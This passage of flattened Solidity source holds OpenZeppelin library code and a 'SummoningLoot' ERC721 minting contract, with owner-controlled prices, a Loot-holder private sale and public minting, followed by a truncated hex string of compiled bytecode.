at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } //File: contracts/SummoningLoot.sol pragma solidity ^0.7.0; interface LootInterface { function ownerOf(uint256 tokenId) external view returns (address owner); } /** * @title SummoningLoot contract * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract SummoningLoot is ERC721, ReentrancyGuard, Ownable { using SafeMath for uint256; string public PROVENANCE = ""; uint256 public lootersPrice = 15000000000000000; //0.015 ETH uint256 public publicPrice = 100000000000000000; //0.1 ETH bool public saleIsActive = true; bool public privateSale = true; //Loot Contract address public lootAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7; LootInterface lootContract = LootInterface(lootAddress); constructor() ERC721("SummoningLoot", "SML") { } function withdraw() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } function deposit() public payable onlyOwner {} function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function endPrivateSale() public onlyOwner { require(privateSale); privateSale = false; } function setLootersPrice(uint256 newPrice) public onlyOwner { lootersPrice = newPrice; } function setPublicPrice(uint256 newPrice) public onlyOwner { publicPrice = newPrice; } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function setProvenance(string memory prov) public onlyOwner { PROVENANCE = prov; } //Private sale minting (reserved for Loot owners) function mintWithLoot(uint lootId) public payable nonReentrant { require(privateSale, "Private sale minting is over"); require(saleIsActive, "Sale must be active to mint"); require(lootersPrice <= msg.value, "Ether value sent is not correct"); require(lootContract.ownerOf(lootId) == msg.sender, "Not the owner of this loot"); _safeMint(msg.sender, lootId); } //Public sale minting function mint(uint lootId) public payable nonReentrant { require(!privateSale, "Public sale minting not started"); require(saleIsActive, "Sale must be active to mint"); require(publicPrice <= msg.value, "Ether value sent is not correct"); require(lootId > 0 && lootId < 8001, "Token ID invalid"); _safeMint(msg.sender, lootId); } }
0x60806040526004361061020f5760003560e01c806370a0823111610118578063c6275255116100a0578063e985e9c51161006f578063e985e9c514610d27578063eb8d244414610dae578063f2fde38b14610ddb578063fd12c96814610e2c578063ffe630b514610e5a5761020f565b8063c627525514610c17578063c87b56dd14610c52578063d0e30db014610d06578063e6a23c3d14610d105761020f565b8063a0712d68116100e7578063a0712d6814610a22578063a22cb46514610a50578063a945bf8014610aad578063b88d4fde14610ad8578063ba1f879f14610bea5761020f565b806370a08231146108d5578063715018a61461093a5780638da5cb5b1461095157806395d89b41146109925761020f565b806334918dfd1161019b5780634f6ccce71161016a5780634f6ccce71461063957806355f804b3146106885780636352211e146107505780636373a6b1146107b55780636c0360eb146108455761020f565b806334918dfd146105655780633ccfd60b1461057c57806342842e0e146105935780634a96974e1461060e5761020f565b80630e439326116101e25780630e439326146103d457806318160ddd1461041557806323b872dd146104405780632e22de9f146104bb5780632f745c59146104f65761020f565b806301ffc9a71461021457806306fdde0314610284578063081812fc14610314578063095ea7b314610379575b600080fd5b34801561022057600080fd5b5061026c6004803603602081101561023757600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610f22565b60405180821515815260200191505060405180910390f35b34801561029057600080fd5b50610299610f89565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102d95780820151818401526020810190506102be565b50505050905090810190601f1680156103065780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032057600080fd5b5061034d6004803603602081101561033757600080fd5b810190808035906020019092919050505061102b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038557600080fd5b506103d26004803603604081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c6565b005b3480156103e057600080fd5b506103e961120a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042157600080fd5b5061042a611230565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104b96004803603606081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611241565b005b3480156104c757600080fd5b506104f4600480360360208110156104de57600080fd5b81019080803590602001909291905050506112b7565b005b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611370565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b5061057a6113cb565b005b34801561058857600080fd5b506105916114a6565b005b34801561059f57600080fd5b5061060c600480360360608110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a4565b005b34801561061a57600080fd5b506106236115c4565b6040518082815260200191505060405180910390f35b34801561064557600080fd5b506106726004803603602081101561065c57600080fd5b81019080803590602001909291905050506115ca565b6040518082815260200191505060405180910390f35b34801561069457600080fd5b5061074e600480360360208110156106ab57600080fd5b81019080803590602001906401000000008111156106c857600080fd5b8201836020820111156106da57600080fd5b803590602001918460018302840111640100000000831117156106fc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506115ed565b005b34801561075c57600080fd5b506107896004803603602081101561077357600080fd5b81019080803590602001909291905050506116a8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107c157600080fd5b506107ca6116df565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561080a5780820151818401526020810190506107ef565b50505050905090810190601f1680156108375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085157600080fd5b5061085a61177d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561089a57808201518184015260208101905061087f565b50505050905090810190601f1680156108c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108e157600080fd5b50610924600480360360208110156108f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190